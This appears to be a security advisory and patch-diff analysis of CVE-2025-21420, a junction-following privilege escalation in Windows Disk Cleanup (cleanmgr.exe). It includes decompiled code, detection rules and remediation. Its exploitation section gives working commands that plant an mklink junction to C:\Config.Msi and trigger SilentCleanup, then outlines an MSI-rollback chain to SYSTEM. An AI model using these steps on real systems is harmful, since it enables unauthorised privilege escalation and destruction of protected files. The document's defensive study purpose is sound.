# CVE-2025-21420 — Windows Disk Cleanup Tool (`cleanmgr.exe`) EoP via Junction Abuse (Missing Redirection Guard)

---

## Summary

| **Product**           | Microsoft Windows — `cleanmgr.exe` (Disk Cleanup) |
|-----------------------|----------------------------------------------------|
| **Vendor**            | Microsoft Corporation |
| **Severity**          | Important (CVSS 7.8) |
| **Affected Versions** | Windows 10 21H2+, Windows 11 22H2/23H2/24H2, Windows Server 2022+ |
| **Tested Version**    | Windows 10.0.26100.1882 (pre-patch) vs 10.0.26100.3194 (post-patch) |
| **Impact**            | Elevation of Privilege — Arbitrary file/folder deletion as SYSTEM |
| **CVE ID**            | CVE-2025-21420 |
| **CWE**               | CWE-59: Improper Link Resolution Before File Access ('Link Following') |
| **PoC Available**     | Yes (trigger PoC — demonstrates the junction-following behavior) |
| **Exploit Available** | Public exploitation techniques known for SilentCleanup abuse |
| **Patch Available**   | Yes |
| **Patch Date**        | February 2025 — KB5051987 |
| **Exploitation Maturity** | Exploitation More Likely |

---

## CVSS 3.1 Scoring

**Base Score:** 7.8 (HIGH)
**Vector String:** `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`

| **Metric** | **Value** | **Rationale** |
|---|---|---|
| **Attack Vector (AV)** | Local | Requires local authenticated session |
| **Attack Complexity (AC)** | Low | Standard junction creation; no race conditions |
| **Privileges Required (PR)** | Low | Standard user account; no admin rights needed |
| **User Interaction (UI)** | None | SilentCleanup runs automatically or can be triggered |
| **Confidentiality (C)** | High | Can delete security-critical files |
| **Integrity (I)** | High | Arbitrary file/folder deletion as SYSTEM |
| **Availability (A)** | High | Can delete critical system files causing instability |

---

## Product Description

`cleanmgr.exe` is the Windows Disk Cleanup utility. It is invoked by the `SilentCleanup` scheduled task, which runs with **highest available privileges** (SYSTEM when triggered by the Task Scheduler). The SilentCleanup task is designed to run automatically and can also be triggered by any standard user via `schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup"`.

When cleanmgr.exe runs elevated, it enumerates cleanup clients (registered COM objects that implement `IEmptyVolumeCache`), each of which specifies directories to clean. The `purgeClients` function iterates these clients and calls their `Purge` method, which performs file deletion operations on the specified directories.

The critical issue: the pre-patch cleanmgr.exe does not enable **Redirection Guard** (`ProcessRedirectionTrustPolicy`), a Windows kernel mitigation that prevents a process from following filesystem junctions (reparse points) created by lower-integrity processes. Without this protection, an attacker can plant a junction in a user-writable cleanup target directory that redirects to a protected system location. When cleanmgr.exe (running as SYSTEM) follows the junction, it deletes files in the attacker-chosen target directory.

---

## Prerequisites and Constraints

- Local authenticated session (standard user; no administrative rights required)
- The SilentCleanup scheduled task must be available (present on all desktop Windows editions)
- Attacker needs write access to a directory that is a cleanup target (e.g., `%TEMP%`, `C:\Users\<user>\AppData\Local\Temp`)
- Junction creation requires `mklink /J` or equivalent API — no special privileges needed
- The attack is a **delete primitive** only — it cannot write or read arbitrary files
- Can be chained with `C:\Config.Msi` junction abuse for full SYSTEM EoP via MSI rollback
- Timing window exists between directory enumeration and deletion

---

## Vulnerability Details

### Call Chain (Ghidra MCP–Verified)

The complete call chain from userspace to the vulnerable deletion, verified via Ghidra MCP decompilation against the **pre-patch** binary (`cleanmgr.exe`, 10.0.26100.1882):

```
User mode (attacker):
  mklink /J "%TEMP%\cleanup_target" "C:\Windows\System32\target"
  schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup"
                                        ↓
cleanmgr.exe (SYSTEM):
  WinMainT()                           [entry point — NO SetProcessMitigationPolicy call]
    → ParseCommandLine()               [parses /SAGERUN, /AUTOCLEAN, etc.]
    → CleanupMgrInfo::CleanupMgrInfo() [initializes cleanup state]
    → CleanupMgrInfo::purgeClients()   [*** iterates cleanup clients ***]
      → IEmptyVolumeCache::Purge()     [COM cleanup client — deletes files]
        → follows junction → deletes files in attacker-chosen directory
```

### WinMainT (Pre-Patch — VULNERABLE)

The pre-patch `WinMainT` at `0x140006614` (Ghidra decompilation from `cleanmgr.exe` 10.0.26100.1882):

```c
// Pre-patch WinMainT @ 0x140006614 — NO SetProcessMitigationPolicy
int WinMainT(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
    // Standard initialization
    HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0);

    // Single-instance check
    HANDLE hEvent = CreateEventW(NULL, FALSE, FALSE, L"Local\\Cleanmgr:  Instance event");
    if (hEvent && GetLastError() == ERROR_ALREADY_EXISTS) {
        _SwitchToAnotherInstanceOfCleanMgrAlreadyRunning(hInstance);
        return 0;
    }

    g_hInstance = hInstance;
    InitCommonControls();
    SHCoInitialize();

    // *** NO SetProcessMitigationPolicy call ***
    // *** NO Feature_3318489400 check ***
    // *** NO Redirection Guard ***

    ParseCommandLine(lpCmdLine, &flags, &driveNum);

    // ... cleanup logic, eventually calls purgeClients() ...
}
```

**The bug:** `WinMainT` never calls `SetProcessMitigationPolicy` to enable `ProcessRedirectionTrustPolicy`. The `SetProcessMitigationPolicy` API is not even in the import table of the pre-patch binary. This means the kernel allows cleanmgr.exe to follow junctions planted by any user, including low-integrity processes.

### WinMainT (Post-Patch — FIXED)

The post-patch `WinMainT` (similarity 0.25 — major restructure) adds:

```c
// Post-patch WinMainT — with Redirection Guard
int WinMainT(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
    // *** NEW: Enable Redirection Guard (behind Feature_3318489400) ***
    if (Feature_3318489400__private_IsEnabled()) {
        PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY policy = {0};
        policy.Flags = 0x10;  // EnableRedirectionTrust
        BOOL ok = SetProcessMitigationPolicy(
            ProcessRedirectionTrustPolicy,  // policy class 0xd (13)
            &policy, sizeof(policy));
        if (!ok) {
            // Hard-fail: if Redirection Guard can't be set, abort
            FailFast();
        }
    }

    // ... rest of initialization ...
    HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0);
    // ... same cleanup flow ...
}
```

With `ProcessRedirectionTrustPolicy` enabled, the kernel checks the creator of any junction/reparse point before following it. If the junction was created by a lower-integrity process than cleanmgr.exe (SYSTEM), the kernel refuses to follow it — returning `STATUS_REPARSE_POINT_NOT_RESOLVED`.

### purgeClients (Performs the Deletion)

```c
// CleanupMgrInfo::purgeClients @ 0x14000fa68 (simplified)
int CleanupMgrInfo::purgeClients(CleanupMgrInfo *this)
{
    // Calculate space to purge
    calculateSpaceToPurge(this);

    // Iterate cleanup clients
    for (int i = 0; i < *(int*)(this + 0x6c8); i++) {
        // Get client COM object
        IEmptyVolumeCache *client = *(IEmptyVolumeCache **)(clientData + 0x18);

        if (client != NULL && *(longlong*)(this + 0x6d8) != 0) {
            // Call Purge — this does the actual file deletion
            // The client deletes files in its registered directory
            // If the directory contains a junction, the delete follows it
            HRESULT hr = client->Purge(spaceToFree, callback);

            if (FAILED(hr)) {
                *(int*)(this + 0x65c) = 2;  // error state
            }
        }
    }
    return status;
}
```

### ReLaunchDiskCleanupElevated (Elevation Path)

```c
// ReLaunchDiskCleanupElevated @ 0x1400064b4
long ReLaunchDiskCleanupElevated(HWND hwnd, LPWSTR cmdLine, int nCmdShow)
{
    WCHAR exePath[MAX_PATH];
    GetModuleFileNameW(NULL, exePath, MAX_PATH);

    SHELLEXECUTEINFOW sei = {0};
    sei.cbSize = sizeof(sei);
    sei.lpVerb = L"runas";        // UAC elevation
    sei.lpFile = exePath;          // re-launches self
    sei.lpParameters = cmdLine;
    sei.nShow = nCmdShow;

    if (ShellExecuteExW(&sei))
        return S_OK;
    return ResultFromLastError();
}
```

---

## Exploitation Scenario

### Step 1 — Create Junction in Cleanup Target Directory

```cmd
REM Standard user — create junction in %TEMP%
mkdir "%TEMP%\exploit_dir"
REM Put some content so the cleanup client registers it
echo x > "%TEMP%\exploit_dir\dummy.txt"

REM Create junction pointing to a protected directory
mklink /J "%TEMP%\exploit_dir\target" "C:\Config.Msi"
```

### Step 2 — Trigger SilentCleanup

```cmd
REM Any standard user can trigger SilentCleanup
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup"
```

### Step 3 — cleanmgr.exe Follows the Junction

When cleanmgr.exe (running as SYSTEM) processes the Temp cleanup client, it enumerates `%TEMP%\exploit_dir\` and finds `target\`. Without Redirection Guard, the kernel follows the junction to `C:\Config.Msi` and deletes its contents with SYSTEM privileges.

### Step 4 — Chain for Full EoP

The `C:\Config.Msi` deletion primitive can be chained with the Windows Installer rollback mechanism:

1. Start an MSI installation that creates rollback scripts in `C:\Config.Msi\`
2. Delete `C:\Config.Msi\` via the cleanmgr junction abuse
3. Replace `C:\Config.Msi\` with a junction to a system directory
4. Trigger MSI rollback — the installer writes rollback scripts to the junction target
5. The attacker-controlled script executes as SYSTEM during rollback

### Impact

Arbitrary file/folder deletion as SYSTEM, chainable to full EoP. The SilentCleanup task is present on all desktop Windows editions and can be triggered by any standard user.

---

## Patch Analysis

### Mechanism

The patch adds a single critical call to `SetProcessMitigationPolicy` with `ProcessRedirectionTrustPolicy` at the very start of `WinMainT`, before any file operations occur. This enables the kernel's Redirection Guard mitigation, which:

1. Tags all filesystem junctions/reparse points with the creator's security context
2. When a process tries to follow a junction, the kernel compares the junction creator's integrity level with the process's integrity level
3. If the junction was created by a lower-integrity process, the kernel returns `STATUS_REPARSE_POINT_NOT_RESOLVED` instead of following it
4. This prevents standard-user-created junctions from being followed by SYSTEM-level cleanmgr.exe

### Feature Gating

The fix is gated behind WIL CFR flag `Feature_3318489400`. The process **hard-fails** if the policy cannot be applied — it calls `FailFast_Unexpected` rather than continuing without protection.

### Files Changed

| Function | Change |
|---|---|
| `WinMainT` | +`SetProcessMitigationPolicy(ProcessRedirectionTrustPolicy)` call; object grows significantly (similarity 0.25) |
| `wil::details::FeatureImpl<Feature_3318489400>::__private_IsEnabled` | New WIL CFR feature flag accessor |
| Multiple WIL infrastructure functions | Standard WIL CFR plumbing |

---

## Trigger PoC

A proof-of-concept is available at [`poc/poc_cve_2025_21420.c`](/data/patch_diffs/poc/poc_cve_2025_21420.c). It demonstrates the junction-following behavior by:

1. Creating a temporary directory in `%TEMP%`
2. Populating it with dummy files so cleanup clients process it
3. Creating a junction from the temp directory to a test target directory
4. Triggering the SilentCleanup scheduled task
5. Checking whether files in the test target were deleted (proving junction was followed)

On a **pre-patch** system, the PoC will show that cleanmgr.exe followed the junction and deleted files in the target directory. On a **post-patch** system, Redirection Guard prevents the junction from being followed and the target directory remains intact.

> **Note:** This PoC is a **trigger/detector** only. It targets a benign test directory, not system files. It does NOT include the MSI rollback chain for full EoP. It is designed for blue teams to validate detection rules.

---

## Detection Rules

### YARA Rule — Detecting PoC/Exploit Binaries

```yara
rule CVE_2025_21420_CleanMgr_Junction_Exploit {
    meta:
        description = "Detects tools exploiting CVE-2025-21420 cleanmgr.exe junction abuse"
        author = "OnlyFm252"
        date = "2026-07-17"
        cve = "CVE-2025-21420"
        severity = "high"
        tlp = "white"

    strings:
        $task1 = "SilentCleanup" ascii wide
        $task2 = "DiskCleanup" ascii wide
        $cmd1 = "schtasks" ascii wide
        $cmd2 = "mklink" ascii wide
        $cmd3 = "/J" ascii wide
        $api1 = "CreateSymbolicLink" ascii wide
        $api2 = "DeviceIoControl" ascii wide
        $reparse = "REPARSE" ascii wide
        $config_msi = "Config.Msi" ascii wide nocase
        $cleanmgr = "cleanmgr" ascii wide nocase

    condition:
        uint16(0) == 0x5A4D and
        filesize < 500KB and
        ($task1 or $task2) and
        ($cmd2 or $api1 or $reparse) and
        ($config_msi or $cleanmgr)
}
```

### YARA Rule — Detecting Vulnerable cleanmgr.exe (Pre-Patch)

```yara
rule CVE_2025_21420_Vulnerable_CleanMgr {
    meta:
        description = "Detects pre-patch cleanmgr.exe without Redirection Guard"
        author = "OnlyFm252"
        date = "2026-07-17"
        cve = "CVE-2025-21420"

    strings:
        $cleanmgr = "cleanmgr" wide nocase
        $mitigation = "SetProcessMitigationPolicy" ascii
        $purge = "purgeClients" ascii

    condition:
        uint16(0) == 0x5A4D and
        $cleanmgr and
        $purge and
        not $mitigation
}
```

### Sigma Rule — SilentCleanup Task Abuse

```yaml
title: SilentCleanup Scheduled Task Triggered by Non-System Process (CVE-2025-21420)
id: a1b2c3d4-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: >
    Detects manual triggering of the SilentCleanup scheduled task,
    which may indicate exploitation of CVE-2025-21420. The SilentCleanup
    task runs cleanmgr.exe as SYSTEM, and a standard user can trigger it
    to abuse junction-following for arbitrary file deletion.
author: OnlyFm252
date: 2026/07/17
references:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21420
    - https://onlyfm252.starlabs.sg/patch-tuesday/2025-02/cve-2025-21420/
logsource:
    category: process_creation
    product: windows
detection:
    selection_schtasks:
        Image|endswith: '\schtasks.exe'
        CommandLine|contains:
            - 'SilentCleanup'
            - 'DiskCleanup'
        CommandLine|contains:
            - '/run'
            - '/Run'
    filter_system:
        User|contains:
            - 'SYSTEM'
            - 'NT AUTHORITY'
    condition: selection_schtasks and not filter_system
falsepositives:
    - Administrative disk cleanup scheduling
    - IT management scripts
level: high
tags:
    - attack.privilege_escalation
    - attack.t1053.005
    - attack.t1068
    - cve.2025.21420
```

### Sigma Rule — Junction Creation in Temp Directories

```yaml
title: Junction Creation in User Temp Directory (CVE-2025-21420)
id: b2c3d4e5-6f7a-8b9c-0d1e-2f3a4b5c6d7e
status: experimental
description: >
    Detects creation of NTFS junctions (reparse points) in user temp
    directories, which may indicate preparation for CVE-2025-21420
    exploitation. Legitimate applications rarely create junctions in
    temp directories.
author: OnlyFm252
date: 2026/07/17
logsource:
    category: process_creation
    product: windows
detection:
    selection_mklink:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
        CommandLine|contains|all:
            - 'mklink'
            - '/J'
        CommandLine|contains:
            - '\Temp\'
            - '\AppData\Local\Temp'
            - '%TEMP%'
    selection_api:
        Image|endswith: '.exe'
        CommandLine|contains:
            - 'IO_REPARSE_TAG_MOUNT_POINT'
            - 'FSCTL_SET_REPARSE_POINT'
    condition: selection_mklink or selection_api
falsepositives:
    - Development tools creating junction links
    - Build systems using junction points
level: medium
tags:
    - attack.privilege_escalation
    - attack.t1053.005
    - cve.2025.21420
```

### Sysmon Configuration

```xml
<!-- Sysmon config addition for CVE-2025-21420 detection -->
<RuleGroup name="CVE-2025-21420" groupRelation="or">

  <!-- ProcessCreate: schtasks triggering SilentCleanup -->
  <ProcessCreate onmatch="include">
    <Rule name="SilentCleanup_Trigger" groupRelation="and">
      <Image condition="end with">schtasks.exe</Image>
      <CommandLine condition="contains">SilentCleanup</CommandLine>
    </Rule>
  </ProcessCreate>

  <!-- ProcessCreate: cleanmgr.exe launched with suspicious flags -->
  <ProcessCreate onmatch="include">
    <Rule name="CleanMgr_Elevated" groupRelation="and">
      <Image condition="end with">cleanmgr.exe</Image>
      <IntegrityLevel condition="is">System</IntegrityLevel>
      <ParentImage condition="excludes">C:\Windows\System32\svchost.exe</ParentImage>
    </Rule>
  </ProcessCreate>

  <!-- FileCreate: Junction creation in user-writable directories -->
  <FileCreate onmatch="include">
    <Rule name="Junction_In_Temp" groupRelation="and">
      <TargetFilename condition="contains">\Temp\</TargetFilename>
      <TargetFilename condition="contains">IO_REPARSE_TAG</TargetFilename>
    </Rule>
  </FileCreate>

  <!-- FileDelete: cleanmgr.exe deleting files outside expected paths -->
  <FileDelete onmatch="include">
    <Rule name="CleanMgr_Unexpected_Delete" groupRelation="and">
      <Image condition="end with">cleanmgr.exe</Image>
      <TargetFilename condition="excludes">\Temp\</TargetFilename>
      <TargetFilename condition="excludes">\Temporary Internet Files\</TargetFilename>
      <TargetFilename condition="excludes">\Windows\Logs\</TargetFilename>
    </Rule>
  </FileDelete>

</RuleGroup>
```

---

## Remediation

1. **Apply KB5051987** (February 2025 cumulative update) immediately
2. **Verify patch**: Check `cleanmgr.exe` version is ≥ 10.0.26100.3194
3. **Monitor**: Deploy the Sysmon and Sigma rules above to detect exploitation attempts
4. **Restrict**: Disable the SilentCleanup scheduled task on sensitive systems if not needed
5. **Audit**: Review for unexpected junction/symlink creation in user temp directories
6. **Hunt**: Check for evidence of `C:\Config.Msi` manipulation or unexpected MSI rollback activity

---

## Timeline

| Date | Event |
|---|---|
| 2025-02-11 | Microsoft releases February 2025 Patch Tuesday (KB5051987) |
| 2026-07-17 | This Ghidra MCP–verified analysis published |

---

## References

- [Microsoft Security Response Center — CVE-2025-21420](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21420)
- [Windows Redirection Guard Documentation](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy)
- [OnlyFm252 Diff Report](/data/patch_diffs/cleanmgr_exe-kb5051987.md)

---

<sub>Analysis: OnlyFm252 — Ghidra MCP–verified decompilation of pre-patch cleanmgr.exe 10.0.26100.1882.
Binary diff: ghidriff of cleanmgr-2025-01.exe (10.0.26100.1882, pre-patch) vs cleanmgr-2025-02.exe (10.0.26100.3194, post-patch).
[Download pre-patch](/data/patch_diffs/binaries/cleanmgr-2025-01.exe) / [Download post-patch](/data/patch_diffs/binaries/cleanmgr-2025-02.exe).</sub>
